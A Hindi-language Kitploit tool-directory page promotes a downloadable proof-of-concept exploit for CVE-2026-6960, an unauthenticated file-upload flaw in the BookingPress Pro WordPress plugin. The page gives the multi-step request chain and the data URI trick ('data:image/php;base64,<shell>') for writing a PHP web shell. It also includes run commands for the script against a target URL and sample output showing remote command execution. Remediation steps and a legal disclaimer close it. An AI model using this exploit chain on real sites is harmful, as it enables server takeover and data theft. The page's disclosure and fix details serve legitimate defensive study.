Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-6960 — CVE-2026-6960 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: BookingPress Pro ≤ 5.6 में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड। डेटा URI इंजेक्शन के माध्यम से PHP वेब शेल अपलोड करने की 3-चरण श्रृंखला को स्वचालित करता है, जिससे कमजोर WordPress साइटों पर रिमोट कोड निष्पादन प्राप्त होता है। | Kitploit
उपकरण/GitHubGitHub/xxconi/cve-2026-6960
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubxxconi/cve-2026-6960

CVE-2026-6960

CVE-2026-6960 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: BookingPress Pro ≤ 5.6 में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड। डेटा URI इंजेक्शन के माध्यम से PHP वेब शेल अपलोड करने की 3-चरण श्रृंखला को स्वचालित करता है, जिससे कमजोर WordPress साइटों पर रिमोट कोड निष्पादन प्राप्त होता है।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | अप्रमाणित मनमानी फ़ाइल अपलोड

CVE CVSS CWE Auth Version Python

अनुसंधान द्वारा: Atomic Edge गंभीरता: गंभीर | CVSS: 9.8 | प्रमाणीकरण आवश्यक: कोई नहीं

⚠️ v2 — तकनीकी सुधार लागू समुदाय की प्रतिक्रिया के आधार पर। विवरण के लिए चेंजलॉग देखें।


अवलोकन

BookingPress Pro WordPress प्लगइन (संस्करण ≤ 5.6) में एक गंभीर अप्रमाणित मनमानी फ़ाइल अपलोड भेद्यता मौजूद है। बुकिंग सबमिशन हैंडलर bookingpress_book_appointment_booking एक हस्ताक्षर कस्टम फ़ील्ड मान को के रूप में संसाधित करता है। प्लगइन रेगेक्स के माध्यम से URI के MIME प्रकार भाग से फ़ाइल एक्सटेंशन निकालता है और इसे सीधे को भेजता है — बिना किसी एक्सटेंशन अनुमति सूची या ब्लॉक सूची के। यह एक हमलावर को PHP वेब शेल को वेब-सुलभ निर्देशिका में लिखने और प्राप्त करने की अनुमति देता है।

डेटा URI
file_put_contents()
दूरस्थ कोड निष्पादन (RCE)
गुणविवरण
प्लगइनBookingPress Pro (bookingpress-appointment-booking-pro)
प्रभावित संस्करण≤ 5.6
में सुधार5.7
वेक्टरनेटवर्क / अप्रमाणित
AJAX क्रियाbookingpress_book_appointment_booking
मूल कारणडेटा URI में हमलावर-नियंत्रित MIME प्रकार से एक्सटेंशन निकाला गया → बिना अनुमति सूची के file_put_contents()
CWECWE-434: Unrestricted Upload of File with Dangerous Type

पूर्व शर्तें

⚠️ साइट के शोषण के लिए निम्नलिखित सभी सत्य होना चाहिए:

  • ✅ साइट व्यवस्थापक द्वारा BookingPress बुकिंग फॉर्म में एक हस्ताक्षर-प्रकार का कस्टम फ़ील्ड कॉन्फ़िगर किया जाना चाहिए
  • ✅ कम से कम एक सक्रिय सेवा मौजूद होनी चाहिए (मान्य टाइमस्लॉट उत्पन्न करने के लिए)
  • ✅ BookingPress बुकिंग फॉर्म विजेट वाला एक पेज सार्वजनिक रूप से सुलभ होना चाहिए

≤ 5.6 चलाने वाली साइटें बिना हस्ताक्षर कस्टम फ़ील्ड कॉन्फ़िगर किए इस वेक्टर के माध्यम से शोषण योग्य नहीं हैं।


आक्रमण प्रवाह

root@kitploit:~
1. GET  /booking-page/
     └─ पेज स्रोत से _wpnonce निकालें

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ सर्वर-साइड टाइमस्लॉट ट्रांज़िएंट कुंजी प्राप्त करें

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ प्री-बुकिंग सत्यापन टोकन प्राप्त करें

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ प्लगइन MIME प्रकार से "php" निकालता है → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE की पुष्टि

मूल कारण विवरण

भेद्य कोड पथ हस्ताक्षर फ़ील्ड मान को डेटा URI के रूप में संसाधित करता है:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress रेगेक्स मैच का उपयोग करके MIME प्रकार से {ext} निकालता है, फिर डिकोड की गई सामग्री को file_put_contents() का उपयोग करके डिस्क पर लिखता है जिसमें वह एक्सटेंशन फ़ाइल नाम में जोड़ा जाता है — कोई अनुमति सूची जाँच नहीं की जाती। MIME प्रकार के रूप में image/php प्रदान करने से अपलोड निर्देशिका में .php फ़ाइल लिखी जाती है।

यह मानक मल्टीपार्ट फ़ाइल अपलोड से मौलिक रूप से भिन्न है — पेलोड एक JSON बॉडी फ़ील्ड में एम्बेडेड होता है, फ़ाइल अपलोड भाग में नहीं।


आवश्यकताएँ

root@kitploit:~
pip install requests

उपयोग

root@kitploit:~
# बेसिक — होमपेज पर बुकिंग फॉर्म, सेवा ID 1
python3 poc.py -u https://target.com

# किसी विशिष्ट पेज पर बुकिंग फॉर्म
python3 poc.py -u https://target.com --booking-page /appointments/

# कस्टम सेवा ID और शेल फ़ाइल नाम
python3 poc.py -u https://target.com -s 3 -f evil.php

# SSL सत्यापन छोड़ें
python3 poc.py -u https://target.com --no-verify

तर्क

फ़्लैगविवरणडिफ़ॉल्ट
-u, --urlलक्ष्य WordPress URL(आवश्यक)
-bp, --booking-pageBookingPress फॉर्म वाले पेज का पथ/
-s, --service-idBookingPress सेवा ID1
-f, --filenameशेल फ़ाइल नाम (एक्सटेंशन डेटा URI MIME में इंजेक्ट किया गया)shell.php
--no-verifySSL प्रमाणपत्र सत्यापन अक्षम करेंfalse

उदाहरण आउटपुट

root@kitploit:~
[!] पूर्व शर्त: इस शोषण के लिए एक हस्ताक्षर-प्रकार का कस्टम फ़ील्ड
    साइट व्यवस्थापक द्वारा BookingPress बुकिंग फॉर्म में कॉन्फ़िगर किया जाना आवश्यक है।

[*] चरण 1/3 — _wpnonce प्राप्त किया जा रहा है: https://target.com/appointments/
[+] _wpnonce मिला: 9f1c3a72bd

[*] चरण 2/3 — टाइमस्लॉट ट्रांज़िएंट प्राप्त किया जा रहा है...
[+] टाइमस्लॉट ट्रांज़िएंट: bp_ts_a1b2c3d4

[*] चरण 3/3 — प्री-बुकिंग सत्यापन टोकन प्राप्त किया जा रहा है...
[+] सत्यापन टोकन: bp_vt_e5f6g7h8

[*] डेटा URI विधि के माध्यम से शेल अपलोड किया जा रहा है...
[*] MIME प्रकार में इंजेक्ट किया गया एक्सटेंशन: image/php
[+] अपलोड प्रतिक्रिया (HTTP 200): {"success":true,...}

[✓] शेल चालू है!
    'id' का आउटपुट: uid=33(www-data) gid=33(www-data)

[→] शेल एक्सेस: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<कमांड>

समाधान

  1. एक्सटेंशन निकालने से पहले डेटा URI MIME प्रकार को एक सख्त अनुमति सूची (image/png, image/jpeg, image/svg+xml) के विरुद्ध मान्य करें
  2. हमलावर-नियंत्रित इनपुट से फ़ाइल एक्सटेंशन कभी प्राप्त न करें — हार्डकोडेड सुरक्षित एक्सटेंशन के साथ एक यादृच्छिक फ़ाइल नाम उत्पन्न करें
  3. सभी फ़ाइल प्रकार सत्यापन के लिए WordPress मूल wp_check_filetype_and_ext() का उपयोग करें
  4. प्रत्यक्ष निष्पादन को रोकने के लिए हस्ताक्षर फ़ाइलों को वेब रूट के बाहर संग्रहीत करने पर विचार करें

→ तुरंत BookingPress Pro 5.7 में अपडेट करें।


चेंजलॉग

v2 (2026-05-23) — तकनीकी सुधार

#मुद्दाv1 (गलत)v2 (सही)
1AJAX क्रियाbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2पेलोड विधिmultipart file upload with image/pngData URI: data:image/{ext};base64,...
3शोषण प्रवाहसीधा अप्रमाणित POST3-चरणीय पूर्वापेक्षा श्रृंखला (nonce → transient → token)
4पूर्व शर्तदस्तावेज नहीं किया गयाहस्ताक्षर कस्टम फ़ील्ड कॉन्फ़िगर होना चाहिए

अस्वीकरण

यह रिपॉजिटरी केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग किसी भी सिस्टम के विरुद्ध सिस्टम स्वामी की स्पष्ट लिखित अनुमति के बिना न करें। अनधिकृत उपयोग CFAA (USA), Criminal Code s.342.1 (Canada), EU NIS2 Directive और अन्य लागू कानूनों का उल्लंघन कर सकता है। लेखक इस कोड के दुरुपयोग या इससे होने वाली क्षति के लिए कोई दायित्व स्वीकार नहीं करते हैं।

टूल डाउनलोड करें